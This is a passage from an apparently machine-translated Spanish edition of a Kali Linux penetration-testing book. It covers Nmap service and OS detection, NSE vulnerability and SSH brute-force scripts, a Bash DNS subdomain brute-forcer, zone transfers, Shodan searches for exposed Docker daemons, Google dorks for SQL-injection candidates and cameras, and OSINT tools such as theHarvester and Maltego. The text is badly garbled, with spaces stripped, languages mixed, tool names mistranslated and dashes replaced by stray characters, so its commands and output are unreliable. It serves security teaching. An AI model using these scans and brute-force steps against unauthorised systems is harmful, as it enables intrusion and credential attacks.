ejemplo, utilizaremos la opción ÿÿversionÿlight para que sea aún más rápido. Tenga en cuenta que pudimos hacerlo un segundo más rápido que antes sin sacrificar la información de la columna de versión (tal vez un segundo no sea gran problema para un host, pero para un rango de red, hará una gran diferencia): root@kali:~#nmap-p22,53,80,443-T5-sV--version-light10.0.0.1 A partir de Nmap7.80(https://nmap.org) a las 2020-10-0509:41EDT NmapscanreportforUSGPRO(10.0.0.1) Hostsup (0.00099 latencia). VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO 22/tcpopensh2.0) OpenSSH6.6.1p1Debian4~bpo70+1(protocolo 53/tcpopendomaindnsmasq2.78-23-g9e09429 Canal de Telegram : @IRFaraExam Machine Translated by Google 80/tcpopenhttplighthttpd 443/tcpopenssl/httpUbiquitiEdgerouterhttpd Dirección MAC: B4: FB: E4: 2F: 04: 3D (Ubiquiti Networks) ServiceInfo: SO: Linux; Dispositivo: enrutador; CPE: cpe: / o: linux: linux_kernel Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/ submit/. Nmapdone: 1 dirección IP (1 host up) escaneada en 12,60 segundos Sistema operativoToma de huellas dactilares Imagine el siguiente escenario: su gerente o su cliente viene a usted y dice: "Queremos saber si alguien en nuestra red está usando Windows XP". sonría y diga: “Por supuesto, sé cómo hacerlo como un profesional”. aprenderá a identificar el sistema operativo de un host en una LAN utilizando Nmap. Para terminar el trabajo, deberá agregar la opción ÿO para detectar el sistema del host de destino. Nmap intentará identificar el inspeccionando los paquetes recibidos del host. A continuación, Nmap intentará haga coincidir la huella dactilar con una lista guardada. Tenga en cuenta que en el siguiente ejemplo, agregandolasversionescanparaayudaraidentificarelsistemaoperativo: raíz @ kali: ~ # nmap-sV-O-T410.0.0.187 A partir de Nmap7.80(https://nmap.org) a las 2020-10-0509:45EDT NmapscanreportforWin7Lab.ksec.local(10.0.0.187) Hostsup (0.00035 latencia). No se muestra: 990 puertos cerrados VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO 135/tcpopenmsrpcMicrosoftWindowsRPC 139 / tcpopennetbios-ssnMicrosoftWindowsnetbios-ssn 445/tcpopenmicrosoft-dsMicrosoftWindows7-10microsoft-ds(grupo de trabajo:GRUPO DE TRABAJO) 5357/tcpopenhttpMicrosoftHTTPAPIhttpd2.0(SSDP/UPnP) 49152/tcpopenmsrpcMicrosoftWindowsRPC 49153/tcpopenmsrpcMicrosoftWindowsRPC 49154/tcpopenmsrpcMicrosoftWindowsRPC 49155/tcpopenmsrpcMicrosoftWindowsRPC 49156/tcpopenmsrpcMicrosoftWindowsRPC 49157/tcpopenmsrpcMicrosoftWindowsRPC Dirección MAC: 00: 0C: 29: 1C: 0E: EE (VMware) Tipo de dispositivo: propósito general Ejecutando:MicrosoftWindows7|2008|8.1 OSCPE: cpe: / o: microsoft: windows_7 :: - cpe: / o: microsoft: windows_7 :: sp1 Canal de Telegram : @IRFaraExam Machine Translated by Google cpe: / o: microsoft: windows_server_2008 :: sp1cpe: / o: microsoft: windows_server_2008: r2cpe: / o: microsoft: windows_8cpe: / o: microsoft: windows_8.1 Detalles del sistema operativo: MicrosoftWindows7SP0-SP1, WindowsServer2008SP8, WindowsSer8 o WindowsServer. NetworkDistance: 1hop ServiceInfo: Host: WIN7LAB; SO: Windows; CPE: cpe: / o: microsoft: windows Detección de SO y servicio realizada. Informe cualquier resultado incorrecto en https:// nmap.org/submit/. Nmapdone: 1 dirección IP (1 host up) escaneada en 66,00 segundos Motor de secuencias de comandos de Nmap El motor de secuencias de comandos de Nmap (NSE) contiene un conjunto de funcionalidades adicionales (como fuerza bruta, enumeración de DNS, enumeración de HTTP, etc.) que hacen que Nmap funcione como un jefe. El equipo de Nmap clasificó todas estas funcionalidades en diferentes grupos, que se muestran aquí: Autorización Transmisión Por defecto Descubrimiento DESDE Explotar Externo Fuzzer Intruso Malware A salvo Versión Vulnerable Para obtener la lista de todos estos scripts NSE, solo enumere el contenido del directorio /usr/share/nmap/scripts : raíz @kali: #ls/usr/share/nmap/scripts/ Canal de Telegram : @IRFaraExam Machine Translated by Google acarsd-info.nsenping- http-hp-ilo-info.nse brute.nse dirección-info.nsenrpe- http-huawei-hg5xx-vuln.nse enum.nse afp-brute.nsentpinfo.nse afp-ls.nsentpmonlist.nse afp-ruta-vuln.nseomp2brute.nse afp-serverinfo.nseomp2-enumobjetivos.nse afp-showmount.nseomroninfo.nse ajpauth.nseopenlookup-info.nse ajp-brute.nseopenvasotp-brute.nse ajp-headers.nsedownload.nse openwebnet-discovery.nse ajp-methods.nseoraclebrute.nse http-icloud-findmyiphone.nse http-icloud-sendmsg.nse http-iis-nombre-corto-brute.nse http-iis-webdav-vuln.nse http-interna-ip-disclosure.nse http-joomla-brute.nse http-jsonp-detección.nse http-litespeed-código fuente http-ls.nse ajp-request.nseoraclebrute-stealth.nse http-majordomo2-dir-transversal.nse allseeingeye-info.nseoracle-enumusers.nse http-malware-host.nse amqp-info.nseoraclesid-brute.nse http-mcmp.nse […] Un ejemplo común es la enumeración HTTP, existe un script NSE para este propósito. Para hacer el trabajo, necesitamos especificar el número de puerto que estamos apuntando primero, y también agregaremos el escaneo de versiones (que es opcional, pero lo recomiendo) para obtener información más jugosa: $nmap-p[número de puerto]-sV–script[NSEscriptname][dirección IP/rango] root@kali:~#nmap-sV-p80--scripthttp-enum10.0.0.1 A partir de Nmap7.80(https://nmap.org) a las 2020-10-0509:51EDT NmapscanreportforUSGPRO(10.0.0.1) Hostsup (0.00082 latencia). VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO 80/tcpopenhttplighthttpd Canal de Telegram : @IRFaraExam Machine Translated by Google |_http-server-header:Servidor |_httpsredirect:ERROR:Ejecución de script fallida (use-dtodebug) Dirección MAC: B4: FB: E4: 2F: 04: 3D (Ubiquiti Networks) Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/ submit/. Nmapdone: 1 dirección IP (1 host up) escaneada en 7,32 segundos NSECCategoryScan Cuando utiliza un análisis de categoría, no especifica los números de puerto, ya que una categoría apuntará a múltiples números de puerto . Antes de que nosotros ( todos los puertos TCP abiertos). root@kali:~#nmap-sV-sC10.0.0.1 A partir de Nmap7.80(https://nmap.org)en2020-10-0509:52EDT NmapscanreportforUSGPRO(10.0.0.1) Hostsup (0.00059 latencia). No se muestra: 996 puertos cerrados PORTSTATESERVICEVERSION 22/ tcpopensshOpenSSH6.6.1p1Debian4~bpo70+1(protocol2.0) |ssh-hostkey:| 102440:a1:21:7f:53:fe:71:41:bb:54:5d:83:1d :44:dd:65(DSA) | 2048fa:08:a3:16:7c:3a:48:e3:7e:d6:ea:2c:6a:5d:15:93(RSA) |25636:d5:77 :3f:f8:6f:a0:36:07:30:7a:43:1f:4d:ac:b5(ECDSA) |_25688:5a:3c:60:df:0a:dd:b2:2b:4e: a8:af:19:d7:f5:9e(ED25519) 53/tcpopendomaindnsmasq2.78-23-g9e09429 |dns-nsid:| _bind.version:dnsmasq-2.78-23-g9e09429 80/tcpopenhttplighttpd |_http-server-header: Servidor |_http-title:No siguió la redirección a https://usgpro/ |_httpsredirect:ERROR:Ejecución de script fallida (use-dtodebug) 443/tcpopenssl/ httpUbiquitiEdgerouterhttpd |http-cookie-flags:|/:|PHPSESSID:|_httponlyflagnotset |_httpserver- encabezado: servidor |_http-title:UniFiSecurityGateway Canal de Telegram : @IRFaraExam Machine Translated by Google |sslcert:Subject:commonName=UbiquitiRouterUI/organizationName=UbiquitiInc./ stateOrProvinceName=Nueva York/countryName=US |SubjectAlternativeName:DNS:UbiquitiRouterUI |No válido antes:2020-03-11T01:02:25 |_Notvalidafter:2022-06-13T01:02:25 |_ssl-date:TLSaleatoriedadnorepresentatiempo Dirección MAC: B4: FB: E4: 2F: 04: 3D (Ubiquiti Networks) ServiceInfo: SO: Linux; Dispositivo: enrutador; CPE: cpe: / o: linux: linux_kernel Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/ submit/. Nmapdone: 1 dirección IP (1 host up) escaneada en 24,20 segundos Además, puede usar el modificador ÿA para ejecutar los scripts predeterminados, pero tenga cuidado que esta opción usará lo siguiente: Escaneo de versiones SynTCPscan PredeterminadoNSEscriptscan Escanearsistemasoperativos ruta de seguimiento de red $nmap-A[dirección IP/rango] Otra forma de apuntar a varios scripts en la misma categoría es usar el comodín * . Por ejemplo, para apuntar a todos los scripts relacionados con las vulnerabilidades de Samba, necesita usar el siguiente comando. (Tenga en cuenta que este comando tomará mucho de tiempo para finalizar. En cualquier momento durante la ejecución, puede presionar el botón Intro para obtener el valor del porcentaje de progreso.) root@kali:~#nmap-sV-p135,445--scriptsmb-vuln*10.0.0.187 A partir de Nmap7.80(https://nmap.org) a las 2020-10-0509:54EDT NmapscanreportforWin7Lab.ksec.local(10.0.0.187) Hostsup (0.00027 latencia). VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO 135/tcpopenmsrpcMicrosoftWindowsRPC 445/tcpopenmicrosoft-dsMicrosoftWindows7-10microsoft-ds(grupo de trabajo:GRUPO DE TRABAJO) Dirección MAC: 00: 0C: 29: 1C: 0E: EE (VMware) Información de servicio: Host: WIN7LAB; SO: Windows; CPE: Canal de Telegram : @IRFaraExam Machine Translated by Google cpe:/o:microsoft:windows Resultados de la secuencia de comandos del host: |_smb-vuln-ms10-054: falso |_smb-vuln-ms10-061:NT_STATUS_ACCESS_DENIED |smb-vuln-ms17-010: |VULNERABLES: |Vulnerabilidad de ejecución remota de código en servidores Microsoft SMBv1 (ms17-010) |Estado:VULNERABLE |ID:CVE:CVE-2017-0143 | Factor de riesgo: ALTO | Existe una vulnerabilidad crítica de ejecución remota de código en Microsoft SMBv1 servidores (ms17-010). |||Fecha de divulgación:2017-03-14 |Referencias: | https://blogs.technet.microsoft.com/msrc/2017/05/12/cliente orientación-para-wannacrypt-ataques/ |https://technet.microsoft.com/en-us/library/security/ms17010.aspx |_https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/ submit/. Nmapdone: 1 dirección IP (1 host up) escaneada en 12,60 segundos NSEArgumentos Algunos scripts de NSE requerirán que ingrese algunos argumentos adicionales. ejemplo es el ataque de fuerza bruta. Digamos que quiere usar fuerza bruta en el SSH servicio en el host de destino, por lo que deberá agregar el; ÿÿscript ÿargs opción para identifique los archivos para los nombres de usuario/contraseñas: $nmap-p22-sV–scriptssh-brute–script-argsuserdb=usuarios.txt,passdb=contraseñas.txt ElsecretoparaconocertodasestasopcionesparausarelNmapoficialNSE referencia: https://nmap.org/nsedoc/ Enumeración DNS Canal de Telegram : @IRFaraExam Machine Translated by Google ¿Por qué está esta sección en el capítulo de exploración de red? La enumeración de DNS puede permitirnos identificar la naturaleza del host de destino que queremos explorar. Además, la enumeración de DNS utilizará los motores de búsqueda públicos para buscar nombres de dominio ocultos que no conocíamos al comienzo de nuestro compromiso. el objetivo es probablemente un host de enrutador ( ethicalhackingblog.com) es mi dominio; solo estoy dando un ejemplo aquí). DNSFuerza bruta Hay muchas herramientas que buscarán nombres de dominio DNS utilizando la metodología de fuerza bruta. Para empezar, tratemos de comprender cómo funciona una fuerza bruta DNS mediante el desarrollo de nuestro propio Bashscript. Primero, guardemos una lista de subdominios potenciales que podrían existir: www VPN pinchar fuego desarrollador ftp puesta en escena correo PROPINA En la práctica, utilizo los siguientes archivos de diccionario de subdominios de la lista en GitHub: https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS Ahora que hemos definido el archivo de diccionario de nuestro subdominio, es hora de desarrollar el Bashscript: #!/bin/bash #Thisscriptwillbruteforcedomainnames #Prompttousertoenterthedomainname read-p"Ingrese el nombre de dominio que desea usar fuerza bruta:" Canal de Telegram : @IRFaraExam Machine Translated by Google NOMBRE DE DOMINIO functioncheck_domain(){ #Ejecutarelcomandohostyextraerlosresultadossubdominiosactivos=$ (host$SUB_DOMAIN|grep'hasaddress') #ifnotemptyresults if[[-n$results]] then printf"Encontrado$SUB_DOMAIN\n" ser } #leerelarchivodediccionarioparasubin$ (catsub-d.txt) do SUB_DOMAIN=$sub.$DOMAIN_NAME check_domain hecho Vamos a probar mi blog sitio web: root@kali:/opt#./dns-brute.sh Ingrese el nombre de dominio que desea usar fuerza bruta:ethicalhackingblog.com Foundwww.ethicalhackingblog.com Foundftp.ethicalhackingblog.com Transferencia de zona DNS La copia de los registros del servidor maestro DNS en otro servidor esclavo DNS se denomina transferencia DNS. Podemos aprovechar este proceso para obtener la lista de todos los subdominios solicitando el DNS maestro (referido a un servidor NS, por ejemplo ns1.ethicalhackingblog.com ) para proporcionarnos la lista del nombre de dominio de destino. Esta consulta rara vez funciona, pero si tiene éxito, recibirá un regalo que contiene todos los subdominios y sus direcciones IP asociadas. Primero, obtengamos la lista de servidores ns para un nombre de dominio aleatorio: $host-tns[nombre de dominio]|cut-d""-f4 root@kali:/opt#hosttnsgoogle.com|cut-d""-f4 ns4.google.com. ns3.google.com. ns1.google.com. ns2.google.com. Canal de Telegram : @IRFaraExam Machine Translated by Google Ahora que conocemos la lista de servidores DNS, podemos pedirle al servidor los registros DNS. Intentemos preguntarle al servidor ns1 usando el comando host : $host-l[nombre de dominio][nombre de dominio del servidor ns] root@kali:/opt#host-lgoogle.comns1.google.com Uso del servidor de dominio: Nombre: ns1.google.com Dirección: 216.239.32.10#53 Alias: ;Transferencia fallida. Ahora que sabe cómo funcionan los scripts de Bash, puede crear sus propios scripts que extraerán la lista de servidores ns y luego se conectarán a cada uno, y luego podrá solicitar la lista de registros DNS utilizando la técnica de transferencia de zona especificada anteriormente. Ahora comprende el uso y el poder de los scripts de Bash. DNSSubdominiosHerramientas Existen muchas herramientas que analizan en busca de subdominios. Lo que importa es comprender lo que hacen, por lo que debe asegurarse de que la persona elegida hará lo siguiente: 1. Subdominios de fuerza bruta rápidos basados en un archivo de diccionario de buena calidad. 2.Verifique la transferencia de DNS. 3. Automatice la búsqueda de un subdominio en motores de búsqueda de Internet como Google. Intenso Fierce es una excelente herramienta para buscar subdominios. Fierce ejecutará múltiples pruebas de DNS, incluidas transferencias de zona y fuerza bruta también. Es rápido y contiene un buen archivo de diccionario: $fierce-dns[nombre de dominio] root@kali:/opt#fierce-dnsethicalhackingblog.com DNSServersforethicalhackingblog.com: ns66.domaincontrol.com ns65.domaincontrol.com Probando transferencia de zona primero... Testingns66.domaincontrol.com Requesttimedoutortransfernotallowed. Canal de Telegram : @IRFaraExam Machine Translated by Google Testingns65.domaincontrol.com Requesttimedoutortransfernotallowed. Transferencia de zona sin éxito (valió la pena intentarlo) Está bien, probando la buena manera tradicional... fuerza bruta Comprobando DNS comodín... No. Bien. Ahora realizando 2280 pruebas... 45.40.155.145ftp.ethicalhackingblog.com 45.40.155.145www.ethicalhackingblog.com Subredes encontradas (es posible que desee probar aquí usando nma o escaneo de unicornio): 45.40.155.0-255: 2 nombres de host encontrados. Hecho con Fiercescan: http://ha.ckers.org/fierce/ Found2entries. Que tenga un lindo día. No confíe en una sola herramienta para hacer el trabajo; cada herramienta tiene sus pros y sus contras. También se deben considerar otras buenas herramientas de DNS en la búsqueda de subdominios: #sublist3risonGithub $pythonsublist3r.py[nombre de dominio] #subbruteisonGithub $pythonsubbrute.py[nombre de dominio] Resumen Acaba de aprender el primer paso en la escalera de las pruebas de penetración. Idealmente, disfrutó de este capítulo y aprendió algo nuevo. ¡La diversión acaba de comenzar, amigos! Canal de Telegram : @IRFaraExam Machine Translated by Google CAPÍTULO 4 InternetInformaciónRecopilación Neverunderestimatetheimportanceoftheinformationgatheringphasein penetrationtesting.IadmitthatIusedtounderestimateitmyself, butoverthe años, Ihaverealizedhowvitalthisphasecanbe.OnceIwasworkingona projectthatwasnotyetdeployedintotheproductionenvironment, hablando sopractically, therewasnoinformationyetontheinternet, ¿verdad? Outofcuriosity, me enteredthetestenvironmentURLonGoogle, anditturnedoutthatoneofthe developersaccidentallycopiedtheinternalnetworkURLstoGitHub.That'sjust oneexampleofthehorrorstoriesthatIhavewitnessedduringmycareer. Hablando de historias de terror, una de ellas sucedió con una empresa. El desarrollador empujó a GitHub las credenciales del host de la nube de AWS, y un hacker se aprovechó de esto y se conectó de forma remota al servidor. Por supuesto, puede adivinar el resto. El enfoque de este capítulo es la metodología principal de la fase de prueba de penetración. No debe ejecutar los escáneres a ciegas sin saber lo que está buscando. Uno de los pasos que ya discutimos en el capítulo anterior es la búsqueda de subdominios. Esto es lo que aprenderá en este capítulo: Utilicemotoresdebúsquedadeinternetparaobtenerresultados Él está en Sodod UseGoogleconsultas Vea cómo mostrar información sobre dominios usando la base de datos de Whois Vea cómo funcionan las herramientas esenciales para la huella pasiva en Kali, incluidas El Cosechador, Dmitry y Maltego Huella pasiva y reconocimiento Vamos a definir una minología del metro sobre este tema. Recopilar información de forma pasiva utilizando la información pública de Internet tiene muchos nombres técnicos. Canal de Telegram : @IRFaraExam Machine Translated by Google Algunas personas lo llaman reconocimiento, y otros lo llaman huella pasiva o recopilación de información pasiva. A veces escuchará el nombre OSINT, que significa inteligencia de código abierto. Use cualquier palabra técnica que prefiera, pero asegúrese de no confundirse con todos estos términos, ya que todos significan lo mismo: recopilar datos sobre su objetivo utilizando fuentes disponibles públicamente. Una de las tareas más críticas en la huella pasiva es saber lo que está buscando. Hay muchas herramientas que hacen el trabajo, pero debe comprender lo que hacen en segundo plano. Por lo tanto, estos son los elementos que debe buscar mientras ejecuta su tarea de recopilación de información: subdominios de la empresa sitios web Direcciones IP públicas (incluida la de la nube AWS/Azure) Direcciones IP internas filtradas Registros DNS públicos (registros MXmail, etc.) Credenciales filtradas (principalmente en GitHuborPastebin) Infracciones anteriores Cambio comercial significativo (p. ej., adquisiciones) Información financiera empresarial (esto puede revelar un socio secreto) Números de teléfono de empresa (para ingeniería social) Información pública para empleados (para ingeniería social) Presencia de una empresa en las redes sociales (p. ej., LinkedIn) Motores de búsqueda de Internet Los motores de búsqueda públicos son su entrada en la búsqueda de debilidades vinculadas a su objetivo. En la siguiente sección, verá en detalle cómo aprovechar el motor de búsqueda de Google para obtener toda la información necesaria (fugas). Canal de Telegram : @IRFaraExam Machine Translated by Google tuarsenalkit: Motor de búsqueda de Google: google.com Shodanonlinescanner: shodan.io DuckDuckGosearchengine: duckduckgo.com Shodan Shodan es una excelente herramienta en línea que escaneará Internet por usted. Hay opciones ilimitadas que puede usar en este monstruo. Este es un ejemplo rápido: supongamos que desea encontrar motores Docker que estén visibles en Internet y que escuchen en el puerto 2375 (el número de puerto predeterminado para un demonio Docker). En el ejemplo que se muestra en la Figura 4.1, utilicé la siguiente consulta: puerto:2375producto:"Docker" Figura 4.1 Shodan Este no es el único criterio de consulta que puede utilizar en el sitio de Shodan. La Tabla 4.1 cubre los más populares. Tabla 4.1 Los criterios de consulta más comunes utilizados en el sitio de Shodan FILTRO DE BÚSQUEDA DESCRIPCIÓN Puerto Número de puerto EJEMPLO Puerto: 80 Canal de Telegram : @IRFaraExam Machine Translated by Google Puerto Número de puerto Producto Nombre del producto Org Nombre de la Organización País Nombre del país de dos letras País: CA Nombre Nombre de la ciudad Ciudad:Montreal de host de la ciudad Nombre de dominio Nombre de host: "nombre de dominio.com" Servidor Nombre del servidor Servidor: "Linux" http.título título de la página web http.title:“Panel de control” Puerto: 80 Producto: "Apache" Org: "Nombre de la empresa de destino". Puede consultar algunos ejemplos prácticos en www.shodan.io/explore . Consultas de Google Google es un potente buscador que te permitirá encontrar la información que está buscando (por ejemplo, credenciales filtradas sobre su cliente/empleador) si usted sabe cómo usarlo correctamente. Google le da la posibilidad de consultar su base de datos con criterios de filtro avanzados. Algunas personas lo llaman el hacking de Google base de datos (GHDB), mientras que otros llaman Googledorks. Comencemos con el primer sitio: consulta que siempre uso al comienzo de mi compromiso, como se muestra en la Figura 4.2. Esta consulta específica le permitirá buscar forallthewebpagesandsitesassociatedwithyourtargetdomainname(this la consulta también revelará subdominios). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 4.2 GoogleDorkSiteFilter Actualmente, todo se publica públicamente en GitHub. Aquí hay una consulta interesante que puede usar en Google para buscar información interesante publicada en GitHub. La figura 4.3 muestra la seguridad de los resultados de la consulta extraída al buscar en GitHub.com utilizando las palabras clave GusKhawaja : sitio: github.com [palabras clave] Figura 4.3 GoogleDorkSiteFilterwithDescription Este es solo un ejemplo, pero le sorprenderá la cantidad de veces que descubrirá información filtrada en GitHub durante un compromiso. Los desarrolladores tienden a usar GitHub sin comprender las consecuencias, y usted, como profesional en este campo, puede aprovechar esta falla. La tabla 4.2 enumera algunas otras consultas interesantes que puede utilizar en Google. Table4.2 GoogleDorksCommonQueries CONSULTA DESCRIPCIÓN EJEMPLO inurl: [criterios] BuscarcandidatosSQLicenunsitioweb: BuscartextodentrodeunaURL sitio:[dominio]inurl:?id= Buscartextodentro BuscarCCTV: Canal de Telegram : @IRFaraExam Machine Translated by Google título: [criterios] eltítulodeunapáginaweb Buscar tipos de archivos por tipo de archivo: usando sus extensiones [extensión de archivo] intitle:"índice de" "cctv" Busque archivos conectados a un dominio que pertenecen a su objetivo: Sitio:[dominio]tipo de archivo:"xls|xlsx|doc|docx| ppt|pptx|pdf" Puede usar las consultas de GHDB en Exploitÿdb para visualizar las últimas mareas. muestra en la Figura 4.4. fuera de www.exploit-db.com/google-hacking-database Compruébelo como ,(Exploitÿ se dpertenecealequipo de Offensive Security, los fundadores de KaliLinux.) Figura 4.4 Base de datos de Google Hacking Recopilación de información usando KaliLinux Hay muchas herramientas preinstaladas en KaliLinux que puede usar para la recopilación pasiva de información (Figura 4.5). Muchas herramientas tienen funcionalidades comunes, algunas de las cuales son completamente gratuitas (p. ej., Dmitry), mientras que otras tienen acceso limitado a funciones a menos que pague una suscripción anual (p. ej., Maltego). En las próximas secciones, aprenderá sobre las aplicaciones típicas que puede usar para el escaneo pasivo. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 4.5 KaliMenu : recopilación de información Base de datos Whois Cada entidad (una empresa o una sola persona) que compra un nombre de dominio debe ingresar su información personal antes del proceso de registro. La mayor parte de esta información se publicará públicamente en la base de datos de Whois . ). Para usar la debilidad de la base de datos Whois, puede usar el comando Whois en su Kali Linux. $whois[dominio] Aquí hay una muestra del resultado de la consulta whois (la siguiente información es ficticia): root@kali:~#whois[nombre-de-dominio.com] Nombre de dominio: acme.com ID de dominio de registro: 2425408_DOMAIN_COM-VRSN Canal de Telegram : @IRFaraExam Machine Translated by Google RegistradorWHOISServer:WHOIS.test.COM URL de registro: WWW.test.COM Fecha de actualización:2020-03-20T07:43:10.00Z Fecha de creación:1991-04-17T04:00:00.00Z RegistradorRegistrationExpirationDate:2021-04-18T04:00:00.00Z Registrador: Ecorp, INC. RegistradorIANAID:48 DomainStatus:clientTransferProhibited https://www.icann.org/epp#clientTransferProhibited Nombre del registrante: JohnDoe Organización del Registrante:EcorpInc Registrante Calle: 1234 ConeyIsland RegistranteCiudad:Brooklyn Estado/provincia del registrante: NY RegistrantPostalCode: 888999 País del registrante: EE. UU. RegistrantPhone:RegistrantPhoneExt:RegistrantFax:RegistrantEmail:https://tieredaccess.com/contact/435 44cc-bab5-cda7d58313c4 AdminNombre:Sr.Robot Organización administrativa: ECorpInc AdminStreet:AdminStreet:AdminCity:AdminState/Province:AdminPostalCode:AdminCountry:AdminPhone:A Canal de Telegram : @IRFaraExam Machine Translated by Google Servidor de nombres: NS1.ECORP.COM Servidor de nombres: NS2.ECORP.COM DNSSEC: sin firmar En resumen, esto es lo que Whois revelará como información pública: nombre del registrante Teléfono de contacto Dirección de correo electrónico Dirección física de la entidad fecha de caducidad del dominio Servidores NS (servidores de nombres) lacosechadora Encontrar la dirección de correo electrónico es crucial si va a realizar una actividad social. ataque de ingeniería o ejercicio de phishing. direcciones si eres un experto ya que ya sabes cuál es el formato del correo electrónico se parece (por ejemplo, [email protected] ). Hay muchas herramientas en la naturaleza para este propósito. sigue haciendo un gran trabajo, se llama Cosechadora. motores de búsqueda como Google para filtrar los resultados: $theHarvester-d[dominio]-b[fuentes en línea]-s root@kali:~#theHarvester-dethicalhackingblog.com-ball-s tableresultsalreadyexists **************************************************** **************** * ___ *||_||_____/\/\________________||_______*|__|_\/\//_//_`|'__\\//\/__|__/_\'__|*| |_|||| _ _ __///(_|| __ |\V/__/\__\||__/|*\__|_||_|\___|\//_/ \__,_|_|\_/\___||___/\__\ ___|_| * *theHarvester3.1.0*Codificado porChristianMartorella*EdgeSecurityResearch*[email protected] * **************************************************** **************** Canal de Telegram : @IRFaraExam * * * * * * * * * * * Machine Translated by Google [*]Objetivo:ethicalhackingblog.com [*]Buscando en Yahoo. [*]BuscandoCertSpotter. Búsqueda de resultados. [*]BuscandoIntelx. Ha ocurrido una excepción en Intelxsearch: [Errno2] Nosuchfileordirectory:'api-keys.yaml' [*]Buscando en Google. Buscando0resultados. Buscando100resultados. Buscando200resultados. Buscando300resultados. Buscando400resultados. Buscando500resultados. [*]BuscandoHunter. [*]BuscandoVirusTotal. Búsqueda de resultados. [*]BuscandoBaidu. [*]BuscandoSecurityTrails. [*]Buscando multitud de amenazas. Búsqueda de resultados. [*]BuscandoBing. [*]Buscar nombres de usuario de Twitter usando Google. [*]Usuarios encontrados:3 --------------------@GusKhawaja @fotogramas clave @medios de comunicación […] -d es para especificar el nombre de su objetivo. (Si usa el éticahackingblog.com nombre de dominio como se muestra en la figura, no se sorprendido si no encuentra resultados porque el dominio está protegido para tales ataques.) ÿs es buscar en el motor web de Shodan. ÿB es el nombre de la fuente de datos en línea ; en la figura, los he elegido todos. Esta es la lista de la que puede elegir (utilice el comando de ayuda ÿh para mas opciones): Baidu Canal de Telegram : @IRFaraExam Machine Translated by Google API de Bing certificador Crtsh DnsDumpster pila de perros Pato Pato a ganar código Github Google Cazador Intelx Linkedin y Linkedin_enlaces netcraft Otx SeguridadSenderos Multitud de amenazas Trello Gorjeo host virtual VirusTotal yahoo Todo (ejecuta todas las fuentes de datos anteriores) Dmitry DMitry, que significa “herramienta de recopilación de información mágica profunda”, es otra aplicación que hace varias cosas al mismo tiempo: ÿw :PerformaWhoislookup. ÿn :Recuperar registros de Netcraft.com sobre el objetivo Canal de Telegram : @IRFaraExam Machine Translated by Google -s :busca subdominios. ÿE: Searchfore ÿ direcciones de correo. P: Explorar puerto abierto TCP (esto no es pasivo). root@kali:~#dmitry-wnse[nombre-de-dominio.com] Maltego Maltego es ideal para la recopilación pasiva de información. Uno podría escribir un libro completo sobre esta herramienta porque contiene todo lo que necesita para hacer el trabajo. Si desea utilizar todas las funcionalidades, debe pagar una licencia anual. Si es un profesional, esta herramienta es imprescindible, pero aún puede utilizar la versión limitada y obtener resultados decentes. TransformarHub TransformHub, que se muestra en la Figura 4.6, es una colección de sitios donde Maltego obtendrá los datos (por ejemplo, Shodan, Kaspersky, VirusTotal, etc.). De manera predeterminada, la mayoría de estas fuentes de datos no están instaladas; debe hacer clic en cada una de las que desea instalar. Hay varios tipos de fuentes de datos: Pagado por separado: tendrá que pagar directamente por estos servicios web; no están incluidos en las tasas de licencia de Maltego. Gratis: muchas de estas fuentes de datos son completamente gratuitas. API autenticada: algunos de estos servicios requerirán que abra una cuenta, luego le darán un token de API para autenticarse y usar sus datos. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 4.6 MaltegoTransformHub Creación de un gráfico El gráfico es la pieza central de Maltego. En esta sección, ejecutará sus escaneos pasivos. Antes de comenzar un escaneo, primero deberá seleccionar una entidad (por ejemplo, una persona, una empresa, un nombre de dominio, etc.). Veamos un ejemplo práctico; seleccionaremos el DNS del blog de hacking ético como una entidad, como se muestra en la figura 4.7. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 4.7 Entidades de Maltego Al hacer clic derecho en la entidad, puede ver todos los tipos de escaneos que puede ejecutar (Figura 4.8). Los principiantes siempre tienen la tentación de hacer clic en Todas las transformaciones (solía pensar de esa manera cuando comencé a usar estas herramientas hace muchos años). En su lugar, debe ejecutar los escaneos de transformación uno por uno para evaluar cada escaneo por separado. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 4.8 Transformaciones de Maltego A continuación, haga clic en Convertir a dominio y ejecute el análisis A dominios. (Haga clic en la flecha de reproducción a la derecha, como se muestra en la Figura 4.9, para ejecutar el análisis). Figura 4.9 MaltegoToDomainsTransform En esta etapa, Maltego mostrará visualmente el nombre de dominio asociado al DNS (Figura 4.10). Perfecto. Ahora, cuando haga clic con el botón derecho en la entidad del nombre de dominio, debería ver más opciones de transformación (Figura 4.11). Canal de Telegram : @IRFaraExam Machine Translated by Google A continuación, haga clic en las flechas dobles junto al elemento DNS From Domain para ejecutar todas las pruebas de subdominios . (Figura 4.12): Figura 4.10 MaltegoDomainName /DNS Figura 4.11 Transformaciones de nombre de dominio Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 4.12 Gráfico de subdominios de Maltego Aquí las opciones son infinitas: puede elegir cada tipo de entidad y hacer clic derecho para visualizar los diferentes tipos de información que puede consultar desde Internet. Tenga en cuenta que esta demostración muestra la versión paga de Maltego 4.2.9, pero también puede realizar la mayoría de los escenarios en la edición gratuita. Somesecurityfolksusefreetoolslikerecon ngthatdoajobsimilartotheone executedinMaltego. (Recon ngisaPythonscannerforinformationgathering thatuseswebAPIservicestofetchitsdata.) Foreducationalpurposes, itisnot harmfultotrythesefreetools.However, ifanorganizationiscountingonyour trabajo, thenmoneyshouldnotbeanobstacle, anditis, inthiscase, recomienda totakeadvantageoftheyearlylicense.ThisisapplicablenotonlyforMaltego, butformostofthesecuritytoolsoutthere (por ejemplo, Nessus, BurpSuitePro, etc.). Si youwanttoshowprofessionalresults, youmustpaythepriceaccordinglytoget thejobdonecorrectly. Resumen La recopilación de información es 